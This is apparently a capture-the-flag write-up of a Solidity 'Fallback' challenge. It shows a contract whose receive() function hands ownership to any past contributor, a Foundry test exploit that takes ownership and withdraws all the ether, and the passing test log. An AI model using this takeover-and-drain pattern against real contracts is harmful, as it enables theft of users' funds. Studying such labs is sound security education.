Skip to main content

Fallback


🚩


Fallback Contract Exploit

Goal: The goal of this challenge is to become the owner of the Fallback contract and withdraw all the ether stored in it.

The Fallback contract tracks contributions from users and allows ownership to change if certain conditions are met. The contract also has a receive() function, which is critical to the ownership logic.

Vulnerability: The contract allows anyone to become the owner by sending ether to it under specific conditions:

  • The receive() function assigns ownership to the sender if:

    require(msg.value > 0 && contributions[msg.sender] > 0);
  • Contributions are tracked by the contribute() function.

  • This combination creates a fallback vulnerability, letting an attacker claim ownership by first contributing a small amount of ether and then sending ether directly to the contract.


Attack Flow (Step by Step)

Step 1: Make a small contribution

  • The attacker calls the contribute() function with less than 0.001 ether:

    target.contribute{value: 0.0001 ether}();
  • This ensures that contributions[msg.sender] > 0, satisfying part of the ownership condition.

Step 2: Trigger the fallback (receive()) function

  • The attacker sends ether directly to the contract using a call():

    (bool success, ) = address(target).call{value: 0.0001 ether}("");
    require(success, "Fallback failed");
  • The receive() function executes and checks:

    require(msg.value > 0 && contributions[msg.sender] > 0);
  • Since the attacker has a contribution, the condition is satisfied, and ownership is transferred to the attacker.

Step 3: Withdraw all ether

  • Now that the attacker is the owner, they can call withdraw() to transfer all ether from the contract:

    target.withdraw();
  • The attacker drains all ether from the contract safely.


Fallback contract


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {
mapping(address => uint256) public contributions;
address public owner;

constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}

modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}

function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if (contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}

function getContribution() public view returns (uint256) {
return contributions[msg.sender];
}

function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}

receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}

Test code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";

import "../src/Fallback.sol";

contract AttackFallback is Test {
Fallback public target;
address payable public attacker;

function setUp() public {
// Deploy the target contract
target = new Fallback();

// Set the attacker address
attacker = payable(address(100));
vm.deal(attacker, 1 ether); // Give attacker 1 ether
}

function testExploit() public {
// Prank as attacker
vm.startPrank(attacker);
console.log("Owner is:",target.owner());
// Step 1: Make a contribution less than 0.001 ether
target.contribute{value: 0.0001 ether}();
assertGt(target.getContribution(), 0);

// Step 2: Send ether directly to trigger receive()
(bool success, ) = address(target).call{value: 0.0001 ether}("");
require(success, "Fallback failed");

// Verify attacker is now the owner
assertEq(target.owner(), attacker);

// Step 3: Withdraw funds
uint256 balanceBefore = attacker.balance;
target.withdraw();
uint256 balanceAfter = attacker.balance;

assertGt(balanceAfter, balanceBefore);
console.log("Owner is:",target.owner());
vm.stopPrank();
}
}

Test case

root@lenova:~/test/challenge# forge test -vv
Warning: This is a nightly build of Foundry. It is recommended to use the latest stable version. Visit https://book.getfoundry.sh/announcements for more information.
To mute this warning set `FOUNDRY_DISABLE_NIGHTLY_WARNING` in your environment.

[⠊] Compiling...
[⠘] Compiling 1 files with Solc 0.8.26
[⠃] Solc 0.8.26 finished in 696.02ms
Compiler run successful!

Ran 1 test for test/Counter.t.sol:AttackFallback
[PASS] testExploit() (gas: 75264)
Logs:
Owner is: 0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496
Owner is: 0x0000000000000000000000000000000000000064

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 921.89µs (331.97µs CPU time)

Ran 1 test suite in 8.75ms (921.89µs CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
root@lenova:~/test/challenge#

Learned

  1. Fallback functions can be dangerous if they interact with critical logic like ownership.
  2. Always validate conditions carefully before allowing ownership changes.
  3. Even small contributions can be leveraged to exploit ownership logic if combined with direct ether transfers.